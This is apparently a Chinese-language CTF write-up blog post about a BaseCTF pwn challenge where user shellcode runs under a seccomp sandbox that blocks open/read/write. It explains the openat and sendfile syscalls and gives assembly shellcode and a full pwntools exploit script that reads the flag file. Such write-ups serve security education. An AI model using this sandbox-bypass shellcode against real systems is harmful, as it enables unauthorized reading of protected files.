沙箱禁用ORW-BaseCTF

D0wnBe@t Lv4

典型的沙箱禁用

题目链接

题解链接

linux64位系统调用表

未禁用ORW

1.ida速览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+28h] [rbp-8h]

buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL )
{
perror("mmap failed");
exit(1);
}
puts("Enter your shellcode:");
if ( read(0, buf, 0x1000uLL) < 0 )
{
perror("read failed");
exit(1);
}
sandbox(); // 沙箱禁用
execute_shellcode(buf);
munmap(buf, 0x1000uLL);
return 0;
}
  • 其实挺明显的,我们只要绕过沙箱的限制即可,下面看看沙箱禁用了什么:

  • 禁用ORW

2.思路

  • 按照开头题解出题人的思路来的,先用openat打开flag文件,接着用sendfile输出flag
  • 对于这两个函数的解释如下(引自gpt)

openat

  • openat 函数是 Linux 系统调用的一部分,用来打开一个相对于目录文件描述符的文件。在文件系统操作中,openat 提供了一种灵活的方式,允许你在一个指定的目录(而不是当前工作目录)内打开文件。openat 的作用和 open 类似,但 openat 允许指定一个文件描述符(目录的文件描述符),以便于处理相对路径的文件。
1
2
3
4
5
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
dirfd: 表示目录的文件描述符。如果是 AT_FDCWD,则相对路径是从当前工作目录开始查找。
pathname: 要打开的文件路径,例如"/flag"
flags: 文件打开的标志,类似于 open 的标志,如 O_RDONLY、O_WRONLY、O_RDWR、O_CREAT 等。
mode: 新文件的权限,仅当使用 O_CREAT 时才需要。
1
2
3
4
5
6
7
8
汇编代码如下:
openat 函数
mov rax, 257 ; 系统调用号 (openat)
mov rdi, dirfd ; 目录文件描述符
mov rsi, pathname ; 文件路径
mov rdx, flags ; 文件打开标志
mov r10, mode ; 文件权限 (当使用 O_CREAT 时)
syscall ; 执行系统调用

sendfile

  • sendfile 是 Linux 的系统调用,用于在两个文件描述符之间传输数据。它在内核中直接进行文件数据的传输,避免了数据从内核到用户空间的拷贝,从而提高了性能。常用于网络服务器中,将文件内容快速发送到网络套接字
1
2
3
4
5
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
out_fd: 目标文件描述符,通常是一个套接字文件描述符(socket),表示将数据发送到哪里。
in_fd: 源文件描述符,表示从哪里读取数据,通常是一个普通的文件。
offset: 指向偏移量的指针,表示从源文件的哪个位置开始读取。如果为 NULL,则从当前偏移量开始读取。
count: 需要传输的字节数。
1
2
3
4
5
6
mov rax, 40          ; 系统调用号 (sendfile)
mov rdi, out_fd ; 目标文件描述符
mov rsi, in_fd ; 源文件描述符
mov rdx, offset ; 文件偏移量指针
mov r10, count ; 传输的字节数
syscall ; 执行系统调用

shellcode

  • openat
1
2
3
4
5
6
7
8
9
10
mov rax, 0x67616c662f2e ; flag
push rax ; rax将"flag"入栈
mov rsi, rsp ; "flag"赋值给rsi,即文件路径
xor rax, rax ; 清零
xor rdi, rdi ; 清零
sub rdi, 100 ;
xor rdx, rdx ; 清零
mov r10, 7 ; rwx权限
mov rax, 0x101 ; 系统调用号
syscall
  • sendfile
1
2
3
4
5
6
7
mov rdi,1				; 目标文件指向stdout,标准输出
mov rsi,3 ; 源文件,0-stdin 1-stdout 2-stderr 3-flag
mov rdx,0 ; 偏移量0
mov r10,0x100 ; 输出字节数设置大一点
push 40 ; 系统调用号
pop rax
syscall

3.完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(arch='amd64',log_level='debug')

#p = process("./pwn")
p = remote("challenge.basectf.fun",30343)

def bug():
gdb.attach(p)
pause()

shellcode = ('''
mov rax, 0x67616c662f2e
push rax
mov rsi, rsp
xor rax, rax
xor rdi, rdi
sub rdi, 100
xor rdx, rdx
mov r10, 7
mov rax, 0x101
syscall

mov rdi,1
mov rsi,3
mov rdx,0
mov r10,0x100
push 40
pop rax
syscall
''')

p.send(asm(shellcode))
p.interactive()
  • 标题: 沙箱禁用ORW-BaseCTF
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-18 20:56:08
  • 更新于 : 2024-11-14 11:40:20
  • 链接: http://downbeat.top/2024/09/18/沙箱禁用ORW-BaseCTF/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论